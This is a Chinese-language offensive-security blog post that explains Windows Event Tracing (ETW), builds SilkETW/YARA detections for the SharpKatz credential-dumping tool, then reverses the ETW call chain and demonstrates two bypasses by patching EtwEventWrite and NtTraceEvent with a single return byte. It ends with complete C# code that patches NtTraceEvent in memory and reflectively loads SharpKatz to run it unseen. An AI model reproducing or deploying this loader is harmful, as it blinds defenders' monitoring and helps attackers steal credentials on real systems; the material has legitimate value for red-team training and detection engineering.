写在最前
如果你是信息安全爱好者,如果你想考一些证书来提升自己的能力,那么欢迎大家来我的 Discord 频道 Northern Bay。邀请链接在这里:
https://discord.gg/9XvvuFq9Wb
我拥有 OSCP,OSEP,OSWE,OSED,OSCE3,CRTO,CRTP,CRTE,PNPT,eCPPTv2,eCPTXv2,KLCP,eJPT 证书。
所以,我会提供任意证书备考过程中尽可能多的帮助,并分享学习和实践过程中的资源和心得,大家一起进步,一起 NB~
背景
ETW(Event Tracing for Windows)是 Windows 用来跟踪和记录用户模式和内核模式产生的事件的一种机制。
ETW 底层使用微软提供的 Event Tracing API。这组 API 大致上分为三个组件:
- Controllers:控制整个 Event Tracing Session 的启动与停止
- Providers:负责分发事件
- Consumers:负责消费事件
Consumers 订阅 Providers 的服务,然后由 Controllers 统一分发事件。
ETW 有几大有点:
- 普遍,目前所有的 Windows 10+ 系统都自带 ETW,无需安装;
- 标准,ETW 使用微软的标准框架,利于开发;
- 高效,大型的架构都使用 ETW 作为日志方案,如 Docker,MSSQL Server 集群等;
同 Sysmon 一样,ETW 提供了另一层日志,帮助管理员更加有效监测攻击者的行为。
ETW 可以兼容 YARA 规则,让管理员能灵活配置关键字,在事件产生的时候,ETW 会根据 YARA 规则的关键字进行匹配,上报异常。
这篇文章,我们看一下如何绕过 ETW,隐藏在目标主机上的行动轨迹。
开始之前,我们首先要了解一下 ETW 的特性,以便更好地实施绕过。我们会使用 SilkETW 作为事件的消费者,来演示 ETW 的使用。
ETW(Event Tracing for Windows)的使用
SilkETW 是对微软 ETW (Microsoft.Diagnostics.Tracing)的封装,并且对 YARA 规则做了支持,方便灵活,简单易用。
首先下载 SilkETW 最新版本 ,或者克隆仓库自行编译。
解压 zip 文件,可以看到三个文件夹,Dependencies,SilkETW,以及 SilkService。
v8\SilkETW 文件夹中可以找到 SilkETW 的可执行文件。
看一下帮助文档。
我们会用到的几个参数依次是:
-t
:type,记录用户模式事件(User),还是内核模式事件(Kernel),这里使用 User;-pn
:providername,使用 Microsoft-Windows-DotNETRuntime 即可;-uk
:keywords mask,使用 0x2038 即可-ot
:output type,输出格式,可以是 URL,file,eventlog,这里使用 file-p
:log file path,输出的日志文件路径-f
:filter,过滤规则,可以是 None,EventName,ProcessID,ProcessName,OpCode,这里使用 EventName;-fv
:filtervalue,过滤值,对应过滤规则,这里过滤规则是 EventName,要抓取 .Net Assembly 加载的事件,这里用 Loader/AssemblyLoad;-y
:yara,yara 规则的路径;-yo
:yaraoptions,可以记录全部事件(All),或者是匹配事件(Matches),这里使用 Matches;
我们首先使用日志的形式来收集信息,然后将日志的信息转化成 YARA 规则,继而使用 YARA 来实时监测异常行为。
我们使用域渗透很常见的工具,SharpKatz,来看一下 .NET Assembly 应用在加载和执行阶段,会有哪些事件产生。然后将这些事件转化成 YARA 规则,做实时监测。
收集事件日志
我们启动 SilkETW 来捕获一下 SharpKatz 加载和执行时产生的事件。
SilkETW.exe -t user -pn Microsoft-Windows-DotNETRuntime -uk 0x2038 -ot file -p C:\Users\opr\Desktop\etw.json
打开 etw.json 文件,可以看到记录下来的日志,包含了事件名称(EventName),以及应用名称(FullyQualifiedAssemblyName)等。
我们收集一些带有 SharpKatz 字符串的日志记录。
"FullyQualifiedAssemblyName":"SharpKatz, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null"
"ManagedInteropMethodNamespace":"SharpKatz.Win32.SysCall+Delegates+RtlGetNtVersionNumbers"
"MethodNamespace":"SharpKatz.Utility"
"ManagedInteropMethodNamespace":"SharpKatz.Win32.SysCall+Delegates+RtlGetNtVersionNumbers"
将这些特定的字符串作为标记转化成 YARA 做实时监控。
SilkETW 做 YARA规则匹配
YARA 规则的编写细节请参照 官方文档 。
我们将上述收集到的字符串,转化成 YARA 规则。
rule Sharpkatz_FQDN
{
strings:
$fqdn = "SharpKatz, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null" ascii nocase wide
condition:
$fqdn
}
rule Sharpkatz_Syscall
{
strings:
$sw = "SharpKatz.Win32.SysCall+Delegates+RtlGetNtVersionNumbers" ascii nocase wide
condition:
$sw
}
rule Sharpkatz_Utility
{
strings:
$su = "SharpKatz.Utility" ascii nocase wide
condition:
$su
}
以上规则会匹配事件中的特定字符串,即 $fqdn
,sw
,$su
。分别指定三个不同的规则有利于区分不同的事件。我们将以上规则保存成 sharpkatz.yar,放在一个单独的文件夹下,这里叫 YARA。
我们重启 SilkETW,使用 -y
,-yo
参数来指定 YARA文件夹的路径和匹配规则。
SilkETW.exe -t user -pn Microsoft-Windows-DotNETRuntime -uk 0x2038 -ot file -p C:\Users\opr\Desktop\etw.json -y C:\Users\opr\Desktop\YARA -yo Matches
可以看到,只要 Sharpkatz 运行,我们就能实时看到 SilkETW 的告警。
这就是 SilkETW 的简单使用场景。更多高级的使用方式,大家可以参照 Threat Hunting with ETW events and HELK — Part 2: Shipping ETW events to HELK ⚒
这个系列。
ETW Enumeration
列举出目标机器上有那些 ETW Session 正在运行,可以使用 Windows 自带的 logman 命令。
以 SilkETW 为例。我们可以使用如下命令来枚举目标上的 ETW Session 的状况:
logman query -ets
可以看到有很多 SilkETW 正在运行。
我们可以请求单个 Tracing Session 的事件 Provider 是谁。
logman query "SilkETWUserCollector_fe48121c-6484-4f99-893f-6ed589b8f98e" -ets
更多关于 logman 的使用,大家可以参考 Threat Hunting with ETW events and HELK — Part 1: Installing SilkETW 🏄♀🏄 一文。
ETW Bypass
ETW 在某种意义上很像 AMSI,我们需要分析一下整个 ETW 方法的调用链。继而找到突破口,实施绕过。
接下来,我们就两种绕过方式做一下解析。
鉴于现在绝大多数的工具都是 .NET Assembly。如我们上文在日志文件收集阶段收集到信息来看,我发现有一个事件名称 AssemblyLoad_V1。
接下来,首先要看一下 ETW 为什么会上报这些事件,用什么方式检测到了这些标记。
分析 ETW 内部方法调用链
首先我们要分析 clr.dll。
为什么要分析 clr.dll?
就像这个回答所说,
CLR(Common Language Runtime),是 .NET 的基石。
我们可以分别在 C:\Windows\Microsoft.NET\Framword\v4.0.30319 和 C:\Windows\Microsoft.NET\Framwordx64\v4.0.30319 下找到相应的 clr.dll。
所有 .NET 应用,都会由 clr.dll 来加载。所以我们的目标是,逆向一下 clr.dll,看一下他跟 ETW 有什么关系。
开始之前
在我们开始逆向之前,先下载通过 WinDBG 下载 Windows Debug Symbol,否则无法解析 clr.dll 的 symbol。
打开 WinDBG,加载 SharpKatz 或者任意 .NET Assembly 文件(这样才能下载到 clr.dll 的 PDB)。
输入 g
让 SharpKatz 运行。
输入 lm
可以看到 clr.dll 加载了。
但是最后的 deferred 说明没有 pdb 文件,无法解析 symbols。
接着到 File -> Symbol File Path。
添加如下内容。
symsrv*symsrv.dll*C:\symbols*http://msdl.microsoft.com/download/symbols
点击 OK。
输入如下命令重新加载模块的 pdb。
.reload /f
WinDBG 会开始下载当前加载模块的 pdb 文件。我们需要等待。BUSY 字样消失之后,所有模块的 pdb 文件下载完成。
加载 clr.dll 到 IDA。
然后加载 PDB 文件。
clr.dll 的 PDB 文件在 C:\symbols\clr.pdb\34BF31A161B046CC8575415C09A62AE32 文件夹(时间不同可能文件夹有所不同,并可能有多个,选择时间最近的一个即可)。
加载完毕,尝试在 Imports,Exports 表搜索了很多的内容,字符串,方法名称,都没有结果。最后在左侧的方法列表中,搜索 ETW:: ,看到了目标 ModuleLoad 方法。
往下跟进。看到了 *ETW::LoaderLog::SendAssemblyEvent(Assembly ,ulong) 方法。
双击跟进。
可以看到在上文中我们收集到的事件名称 AssemblyLoad_V1。
这是一个 data section 的变量,值是 9Ah,不过这个不重要,主要看逻辑。
回到 *ETW::LoaderLog::SendAssemblyEvent(Assembly ,ulong) 方法,继续往下看。在事件类型判断结束之后,调用了 CoTemplate_xxxqzh 方法。
双击跟进。看到这个方法调用了 __imp_EventWrite 方法。
这个方法是 extern,那么就应该在 Imports 表里面。不错,这个方法是从 advapi32.dll 引用的。
加载 advapi32.dll 反编译。在 Exports 表里找到了 EventWrite 方法。
双击,可以看到这个方法调用的是 ntdll.EtwEventWrite 方法。
最后反编译一下 ntdll.dll。在 Exports 表里可以找到 EtwEventWrite 方法。
最后还将调用 EtwpEventWriteFull 方法。
ETW Bypass - Patch EtwEventWrite Function
通过上文的分析,第一种绕过的选择是在运行时 patch ntdll 的 EtwEventWrite 方法。
这里静态分析有点不行了,因为很多地方调用了这个方法。我们加载 Sharpkatz 到 WinDBG,在 ntdll EtwEventWrite 上打断点。看一下这个方法的 opcode。
打断点。
bp EtwEventWrite
记得开启 SilkETW,否则不会触发断点。
SilkETW.exe -t user -pn Microsoft-Windows-DotNETRuntime -uk 0x2038 -ot file -p C:\Users\opr\Desktop\etw.json -y C:\Users\opr\Desktop\YARA -yo Matches
输入 g
让 Sharpkatz 运行。触发断点。
u @rip L10
可以看到方法最后是 ret,opcode c3。
所以选择将方法的第一条指令 patch 成 c3
。
验证环节,我们开启 SilkETW。
SilkETW.exe -t user -pn Microsoft-Windows-DotNETRuntime -uk 0x2038 -ot file -p C:\Users\opr\Desktop\etw.json -y C:\Users\opr\Desktop\YARA -yo Matches
使用 WinDBG 加载 Sharpkatz。
没有 patch 之前的 EtwEventWrite 方法。我们的目标就是 用 c3 patch 第一行。
首先验证一下在没有 patch 的情况下,SilkETW 会告警。
重启 SilkETW,重新加载 SharpKatz,在 EtwEventWrite 方法出写入 c3。
eb 00007ffd`80d7f1a0 c3
Patch 之后的方法。
再次运行。
SilkETW 没有任何告警,绕过成功。第一种绕过方式解析完毕。
Patch EtwEventWrite 方法的问题
以上第一个绕过方法的缺点在于,EDR 可能会 hook 用户态方法,碰他们,就等于碰 EDR,会触发另一层的告警。
因此,第二种方式,就是再往下面挖,来 patch 更加底层的 Nt 方法。
ETW Bypass - Patch NtTraceEvent Function
回到对 ntdll EtwEventWrite 方法的反编译,继续往下看,可以看到这个方法调用了 EtwpEventWriteFull。
跟进这个方法,可以看到他调用了 NtTraceEvent 方法。
Nt 开头的方法,是 Windows native API。调用他们的方式是通过 syscall 的形式。而 syscall,是最隐蔽最可能有效绕过如 EDR 等防护机制监测的方法调用形式。
所以,第二种绕过 ETW 的方式,就是 patch NtTraceEvent 方法。
思路一致,还是 patch NtTraceEvent 第一行,直接 ret。
验证方式一样。下图是 patch 之后的 NtTraceEvent。
运行。SilkETW 没有告警。绕过成功。
虽然 WinDBG 有很多报错,但是不影响 SharpKatz 的执行。我们通过 patch NtTraceEvent,绕过 ETW 的监测,同时也拿到了执行结果。
代码整合
ETW 的绕过,要结合具体的需求。如果是本文列举的使用 .NET Assembly 的情况,如 SharpKatz,Rubeus,那么就应该选用 C# 作为开发语言,在绕过 ETW 之后,加载 .NET Assembly 直接执行。我们直接以代码为例,patch NtTraceEvent 方法,来执行 Sharpkatz。
using System;
using System.IO;
using System.Reflection;
using System.Runtime.InteropServices;
namespace test
{
class Win32
{
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
public static extern IntPtr GetModuleHandle([MarshalAs(UnmanagedType.LPWStr)] string lpModuleName);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
class Program
{
static void Main(string[] args)
{
Console.WriteLine("[*]Patching ETW...");
var patch = new byte[] { 0xc3 };
try
{
uint oldProtect;
var hModule = Win32.GetModuleHandle("ntdll.dll");
Console.WriteLine("ndtll address: 0x{0:X}", hModule.ToInt64());
var hFunc = Win32.GetProcAddress(hModule, "NtTraceEvent");
Console.WriteLine("NtTraceEvent address: 0x{0:X}", hFunc.ToInt64());
/* memory protection must be 0x40 */
Win32.VirtualProtect(hFunc, (UIntPtr)patch.Length, 0x40, out oldProtect);
Marshal.Copy(patch, 0, hFunc, patch.Length);
Win32.VirtualProtect(hFunc, (UIntPtr)patch.Length, oldProtect, out _);
}
catch
{
Console.WriteLine("[-]Error patching ETW...");
}
Console.WriteLine("[+]ETW patching success, invoking .Net Assembly...");
var bytes = File.ReadAllBytes(@"C:\Users\opr\Desktop\Sharpkatz.exe");
var assem = Assembly.Load(bytes);
assem.EntryPoint.Invoke(null, new object[] { args });
}
}
}
成功绕过。
总结
这篇文章通过对 clr.dll,advapi32.dll,以及 ntdll.dll 的简单逆向,解析了 ETW(Event Tracing for Windows)的整体调用链。之后,我们介绍了两种 ETW 的绕过方式。一种是 patch EtwEventWrite 方法,另一种是 patch NtTraceEvent 方法。同时,配合 SilkETW,我们对两种绕过方式进行了成功验证。
参考链接
- https://learn.microsoft.com/en-us/windows-hardware/drivers/devtest/event-tracing-for-windows–etw-
- https://docs.trendmicro.com/all/ent/ddi/v5.5/en-us/ddi_5.5_olh/YARA-Rules.html#:~:text=YARA%20rules%20are%20malware%20detection,to%20the%20internal%20Virtual%20Analyzer.
- https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/etw-event-tracing-for-windows-101#consuming-events-via-code
- https://medium.com/threat-hunters-forge/threat-hunting-with-etw-events-and-helk-part-1-installing-silketw-6eb74815e4a0
- https://learn.microsoft.com/en-us/windows/win32/etw/about-event-tracing#controllers
- https://learn.microsoft.com/en-us/windows/win32/etw/about-event-tracing#providers
- https://learn.microsoft.com/en-us/windows/win32/etw/about-event-tracing#consumers
- https://yara.readthedocs.io/en/stable/writingrules.html
- https://whiteknightlabs.com/2021/12/11/bypassing-etw-for-fun-and-profit/
- https://www.binarly.io/posts/Design_issues_of_modern_EDRs_bypassing_ETW-based_solutions/index.html
- https://www.mdsec.co.uk/2020/03/hiding-your-net-etw/
- https://modexp.wordpress.com/2020/04/08/red-teams-etw/
- http://redplait.blogspot.com/2012/03/etweventregister-on-w8-consumer-preview.html
- https://gist.github.com/xpn/fabc89c6dc52e038592f3fb9d1374673
- https://github.com/outflanknl/TamperETW
- https://github.com/odzhan/injection/tree/master/etw
- https://learn.microsoft.com/en-us/windows/win32/api/evntprov/nf-evntprov-eventregister
- https://www.geoffchappell.com/studies/windows/win32/ntdll/api/etw/index.htm
- https://learn.microsoft.com/en-us/windows/win32/etw/retrieving-event-data-using-tdh
- https://learn.microsoft.com/en-us/windows/win32/api/evntprov/nc-evntprov-penablecallback
- https://blog.palantir.com/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63
- https://stackoverflow.com/questions/19698819/what-is-clr-dll-on-net-framework-and-what-does-it-do
- https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/debugging-managed-code
- https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/logman